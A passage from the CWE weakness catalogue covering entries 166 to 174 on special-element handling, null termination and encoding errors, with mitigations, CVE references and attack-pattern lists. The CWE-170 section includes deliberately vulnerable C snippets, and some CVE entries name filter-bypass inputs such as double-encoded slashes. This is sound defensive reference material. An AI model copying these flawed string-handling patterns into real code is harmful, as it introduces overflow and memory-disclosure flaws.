Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Implementation

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or



filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Multiple Internal Special Element
Software Fault Patterns	SFP24		Tainted input to command

## CWE-166: Improper Handling of Missing Special Element

**Weakness ID** : 166

**Structure** : Simple

**Abstraction** : Base

### Description

The product receives input from an upstream component, but it does not handle or incorrectly handles when an expected special element is missing.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		703	Improper Check or Handling of Exceptional Conditions	1433
ChildOf		159	Improper Handling of Invalid Use of Special Elements	395

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		19	Data Processing Errors	2101

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	

### Potential Mitigations

Developers should anticipate that special elements will be removed in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### Observed Examples

Reference	Description
<b>CVE-2002-1362</b>	Crash via message type without separator character <a href="https://www.cve.org/CVERecord?id=CVE-2002-1362">https://www.cve.org/CVERecord?id=CVE-2002-1362</a>
<b>CVE-2002-0729</b>	Missing special character (separator) causes crash <a href="https://www.cve.org/CVERecord?id=CVE-2002-0729">https://www.cve.org/CVERecord?id=CVE-2002-0729</a>
<b>CVE-2002-1532</b>	HTTP GET without \r\n\r\n CRLF sequences causes product to wait indefinitely and prevents other users from accessing it <a href="https://www.cve.org/CVERecord?id=CVE-2002-1532">https://www.cve.org/CVERecord?id=CVE-2002-1532</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	2127
MemberOf		992	SFP Secondary Cluster: Faulty Input Transformation	888	2209

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Missing Special Element

## CWE-167: Improper Handling of Additional Special Element

**Weakness ID** : 167

**Structure** : Simple

**Abstraction** : Base

### Description

The product receives input from an upstream component, but it does not handle or incorrectly handles when an additional unexpected special element is provided.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1433
ChildOf	⊕	159	Improper Handling of Invalid Use of Special Elements	395

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	⊂	19	Data Processing Errors	2101

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Potential Mitigations

Developers should anticipate that extra special elements will be injected in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape

any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### Observed Examples

Reference	Description
<b>CVE-2000-0116</b>	Extra "<" in front of SCRIPT tag. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0116">https://www.cve.org/CVERecord?id=CVE-2000-0116</a>
<b>CVE-2001-1157</b>	Extra "<" in front of SCRIPT tag. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1157">https://www.cve.org/CVERecord?id=CVE-2001-1157</a>
<b>CVE-2002-2086</b>	"<script" - probably a cleansing error <a href="https://www.cve.org/CVERecord?id=CVE-2002-2086">https://www.cve.org/CVERecord?id=CVE-2002-2086</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	2127
MemberOf		992	SFP Secondary Cluster: Faulty Input Transformation	888	2209

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Extra Special Element

## CWE-168: Improper Handling of Inconsistent Special Elements

**Weakness ID :** 168

**Structure :** Simple

**Abstraction :** Base

### Description

The product does not properly handle input in which an inconsistency exists between two or more special characters or reserved words.

### Extended Description

An example of this problem would be if paired characters appear in the wrong order, or if the special characters are not properly nested.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	I P	703	Improper Check or Handling of Exceptional Conditions	1433
ChildOf	Ⓢ	159	Improper Handling of Invalid Use of Special Elements	395

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	Ⓢ	19	Data Processing Errors	2101

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	
Access Control	Bypass Protection Mechanism	
Non-Repudiation	Hide Activities	

### Potential Mitigations

Developers should anticipate that inconsistent special elements will be injected/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	Ⓢ	992	SFP Secondary Cluster: Faulty Input Transformation	888	2209

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Inconsistent Special Elements

## CWE-170: Improper Null Termination

**Weakness ID :** 170

**Structure :** Simple

**Abstraction :** Base

### Description

The product does not terminate or incorrectly terminates a string or array with a null character or equivalent terminator.

### Extended Description

Null termination errors frequently occur in two different ways. An off-by-one error could cause a null to be written out of bounds, leading to an overflow. Or, a program could use a strncpy() function call incorrectly, which prevents a null terminator from being added at all. Other scenarios are possible.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	707	Improper Neutralization	1440
PeerOf	B	463	Deletion of Data Structure Sentinel	1045
PeerOf	B	464	Addition of Data Structure Sentinel	1047
CanAlsoBe	V	147	Improper Neutralization of Input Terminators	373
CanFollow	B	193	Off-by-one Error	466
CanFollow	P	682	Incorrect Calculation	1403
CanPrecede	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	294
CanPrecede	V	126	Buffer Over-read	320

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	2102

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf	G	20	Improper Input Validation	19

### Weakness Ordinalities

**Resultant :**

### Applicable Platforms

**Language :** C (Prevalence = Undetermined)

**Language :** C++ (Prevalence = Undetermined)

### Likelihood Of Exploit

Medium

### Common Consequences



Scope	Impact	Likelihood
Confidentiality Integrity Availability	Read Memory Execute Unauthorized Code or Commands  <i>The case of an omitted null character is the most dangerous of the possible issues. This will almost certainly result in information disclosure, and possibly a buffer overflow condition, which may be exploited to execute arbitrary code.</i>	
Confidentiality Integrity Availability	DoS: Crash, Exit, or Restart Read Memory DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory)  <i>If a null character is omitted from a string, then most string-copying functions will read data until they locate a null character, even outside of the intended boundaries of the string. This could: cause a crash due to a segmentation fault cause sensitive adjacent memory to be copied and sent to an outsider trigger a buffer overflow when the copy is being written to a fixed-size buffer.</i>	
Integrity Availability	Modify Memory DoS: Crash, Exit, or Restart  <i>Misplaced null characters may result in any number of security problems. The biggest issue is a subset of buffer overflow, and write-what-where conditions, where data corruption occurs from the writing of a null character over valid data, or even instructions. A randomly placed null character may put the system into an undefined state, and therefore make it prone to crashing. A misplaced null character may corrupt other data in memory.</i>	
Integrity Confidentiality Availability Access Control Other	Alter Execution Logic Execute Unauthorized Code or Commands  <i>Should the null character corrupt the process flow, or affect a flag controlling access, it may lead to logical errors which allow for the execution of arbitrary code.</i>	

### Potential Mitigations

#### Phase: Requirements

Use a language that is not susceptible to these issues. However, be careful of null byte interaction errors (CWE-626) with lower-level constructs that may be written in a language that is susceptible.

#### Phase: Implementation

Ensure that all string functions used are understood fully as to how they append null characters. Also, be wary of off-by-one errors when appending nulls to the end of strings.

#### Phase: Implementation

If performance constraints permit, special code can be added that validates null-termination of string buffers, this is a rather naive and error-prone solution.

#### Phase: Implementation

Switch to bounded string manipulation functions. Inspect buffer lengths involved in the buffer overrun trace reported with the defect.

#### Phase: Implementation

Add code that fills buffers with nulls (however, the length of buffers still needs to be inspected, to ensure that the non null-terminated string is not written at the physical end of the buffer).

## Demonstrative Examples

### Example 1:

The following code reads from `cfgfile` and copies the input into `inputbuf` using `strcpy()`. The code mistakenly assumes that `inputbuf` will always contain a NULL terminator.

*Example Language: C*

*(Bad)*

```
#define MAXLEN 1024
...
char *pathbuf[MAXLEN];
...
read(cfgfile,inputbuf,MAXLEN); //does not null terminate
strcpy(pathbuf,inputbuf); //requires null terminated input
...
```

The code above will behave correctly if the data read from `cfgfile` is null terminated on disk as expected. But if an attacker is able to modify this input so that it does not contain the expected NULL character, the call to `strcpy()` will continue copying from memory until it encounters an arbitrary NULL character. This will likely overflow the destination buffer and, if the attacker can control the contents of memory immediately following `inputbuf`, can leave the application susceptible to a buffer overflow attack.

### Example 2:

In the following code, `readlink()` expands the name of a symbolic link stored in `pathname` and puts the absolute path into `buf`. The length of the resulting value is then calculated using `strlen()`.

*Example Language: C*

*(Bad)*

```
char buf[MAXPATH];
...
readlink(pathname, buf, MAXPATH);
int length = strlen(buf);
...
```

The code above will not always behave correctly as `readlink()` does not append a NULL byte to `buf`. `Readlink()` will stop copying characters once the maximum size of `buf` has been reached to avoid overflowing the buffer, this will leave the value `buf` not NULL terminated. In this situation, `strlen()` will continue traversing memory until it encounters an arbitrary NULL character further on down the stack, resulting in a length value that is much larger than the size of string. `Readlink()` does return the number of bytes copied, but when this return value is the same as stated `buf` size (in this case `MAXPATH`), it is impossible to know whether the `pathname` is precisely that many bytes long, or whether `readlink()` has truncated the name to avoid overrunning the buffer. In testing, vulnerabilities like this one might not be caught because the unused contents of `buf` and the memory immediately following it may be NULL, thereby causing `strlen()` to appear as if it is behaving correctly.

### Example 3:

While the following example is not exploitable, it provides a good example of how nulls can be omitted or misplaced, even when "safe" functions are used:

*Example Language: C*

*(Bad)*

```
#include <stdio.h>
#include <string.h>
int main() {
    char longString[] = "String signifying nothing";
    char shortString[16];
    strncpy(shortString, longString, 16);
}
```

```
printf("The last character in shortString is: %c (%1$x)\n", shortString[15]);
return (0);
}
```

The above code gives the following output: "The last character in shortString is: n (6e)". So, the shortString array does not end in a NULL character, even though the "safe" string function strncpy() was used. The reason is that strncpy() does not implicitly add a NULL character at the end of the string when the source is equal in length or longer than the provided size.

### Observed Examples

Reference	Description
<b>CVE-2000-0312</b>	Attacker does not null-terminate argv[] when invoking another program. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0312">https://www.cve.org/CVERecord?id=CVE-2000-0312</a>
<b>CVE-2003-0777</b>	Interrupted step causes resultant lack of null termination. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0777">https://www.cve.org/CVERecord?id=CVE-2003-0777</a>
<b>CVE-2004-1072</b>	Fault causes resultant lack of null termination, leading to buffer expansion. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1072">https://www.cve.org/CVERecord?id=CVE-2004-1072</a>
<b>CVE-2001-1389</b>	Multiple vulnerabilities related to improper null termination. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1389">https://www.cve.org/CVERecord?id=CVE-2001-1389</a>
<b>CVE-2003-0143</b>	Product does not null terminate a message buffer after sprintf-like call, leading to overflow. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0143">https://www.cve.org/CVERecord?id=CVE-2003-0143</a>
<b>CVE-2009-2523</b>	Chain: product does not handle when an input string is not NULL terminated (CWE-170), leading to buffer over-read (CWE-125) or heap-based buffer overflow (CWE-122). <a href="https://www.cve.org/CVERecord?id=CVE-2009-2523">https://www.cve.org/CVERecord?id=CVE-2009-2523</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	730	OWASP Top Ten 2004 Category A9 - Denial of Service	711	2132
MemberOf	<b>C</b>	741	CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)	734	2138
MemberOf	<b>C</b>	748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)	734	2144
MemberOf	<b>C</b>	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	868	2169
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	<b>C</b>	973	SFP Secondary Cluster: Improper NULL Termination	888	2199
MemberOf	<b>C</b>	1161	SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)	1154	2251
MemberOf	<b>C</b>	1171	SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)	1154	2256
MemberOf	<b>C</b>	1306	CISQ Quality Measures - Reliability	1305	2276
MemberOf	V	1340	CISQ Data Protection Measures	1340	2350

### Notes

#### Relationship

Factors: this is usually resultant from other weaknesses such as off-by-one errors, but it can be primary to boundary condition violations such as buffer overflows. In buffer overflows, it can act as an expander for assumed-immutable data.

### Relationship

Overlaps missing input terminator.

### Applicable Platform

Conceptually, this does not just apply to the C language; any language or representation that involves a terminator could have this type of problem.

### Maintenance

As currently described, this entry is more like a category than a weakness.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Improper Null Termination
7 Pernicious Kingdoms			String Termination Error
CLASP			Miscalculated null termination
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
CERT C Secure Coding	POS30-C	CWE More Abstract	Use the readlink() function properly
CERT C Secure Coding	STR03-C		Do not inadvertently truncate a null-terminated byte string
CERT C Secure Coding	STR32-C	Exact	Do not pass a non-null-terminated character sequence to a library function that expects a string
Software Fault Patterns	SFP11		Improper Null Termination

## CWE-172: Encoding Error

**Weakness ID :** 172

**Structure :** Simple

**Abstraction :** Class

### Description

The product does not properly encode or decode the data, resulting in unexpected values.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	707	Improper Neutralization	1440
ParentOf	Ⓧ	173	Improper Handling of Alternate Encoding	417
ParentOf	Ⓧ	174	Double Decoding of the Same Data	419
ParentOf	Ⓧ	175	Improper Handling of Mixed Encoding	421
ParentOf	Ⓧ	176	Improper Handling of Unicode Encoding	422
ParentOf	Ⓧ	177	Improper Handling of URL Encoding (Hex Encoding)	424
CanPrecede	Ⓟ	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	33
CanPrecede	Ⓟ	41	Improper Resolution of Path Equivalence	83

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Implementation

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	992	SFP Secondary Cluster: Faulty Input Transformation	888	2209

## Notes

### Relationship

Partially overlaps path traversal and equivalence weaknesses.

### Maintenance

This is more like a category than a weakness.

### Maintenance

Many other types of encodings should be listed in this category.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Encoding Error

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
52	Embedding NULL Bytes
53	Postfix, Null Terminate, and Backslash
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic
71	Using Unicode Encoding to Bypass Validation Logic
72	URL Encoding
78	Using Escaped Slashes in Alternate Encoding
80	Using UTF-8 Encoding to Bypass Validation Logic
120	Double Encoding
267	Leverage Alternate Encoding

## CWE-173: Improper Handling of Alternate Encoding

**Weakness ID :** 173

**Structure :** Simple

**Abstraction :** Variant



### Description

The product does not properly handle when an input uses an alternate encoding that is valid for the control sphere to which the input is being sent.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		172	Encoding Error	415
CanPrecede		289	Authentication Bypass by Alternate Name	666

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

#### Phase: Architecture and Design

*Strategy = Input Validation*

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

#### Phase: Implementation

*Strategy = Input Validation*



Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Implementation

*Strategy = Output Encoding*

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	992	SFP Secondary Cluster: Faulty Input Transformation	888	2209

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Alternate Encoding

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
4	Using Alternative IP Address Encodings
52	Embedding NULL Bytes
53	Postfix, Null Terminate, and Backslash
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic
71	Using Unicode Encoding to Bypass Validation Logic
72	URL Encoding
78	Using Escaped Slashes in Alternate Encoding

CAPEC-ID	Attack Pattern Name
79	Using Slashes in Alternate Encoding
80	Using UTF-8 Encoding to Bypass Validation Logic
120	Double Encoding
267	Leverage Alternate Encoding

## CWE-174: Double Decoding of the Same Data

**Weakness ID :** 174

**Structure :** Simple

**Abstraction :** Variant

### Description

The product decodes the same input twice, which can limit the effectiveness of any protection mechanism that occurs in between the decoding operations.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		172	Encoding Error	415
ChildOf		675	Multiple Operations on Resource in Single-Operation Context	1393

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	
Confidentiality	Execute Unauthorized Code or Commands	
Availability	Varies by Context	
Integrity		
Other		

### Potential Mitigations

#### Phase: Architecture and Design

*Strategy = Input Validation*

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input

is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Implementation

*Strategy = Output Encoding*

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### Observed Examples

Reference	Description
<b>CVE-2004-1315</b>	Forum software improperly URL decodes the highlight parameter when extracting text to highlight, which allows remote attackers to execute arbitrary PHP code by double-encoding the highlight value so that special characters are inserted into the result. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1315">https://www.cve.org/CVERecord?id=CVE-2004-1315</a>
<b>CVE-2004-1939</b>	XSS protection mechanism attempts to remove "/" that could be used to close tags, but it can be bypassed using double encoded slashes (%252F) <a href="https://www.cve.org/CVERecord?id=CVE-2004-1939">https://www.cve.org/CVERecord?id=CVE-2004-1939</a>
<b>CVE-2001-0333</b>	Directory traversal using double encoding. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0333">https://www.cve.org/CVERecord?id=CVE-2001-0333</a>
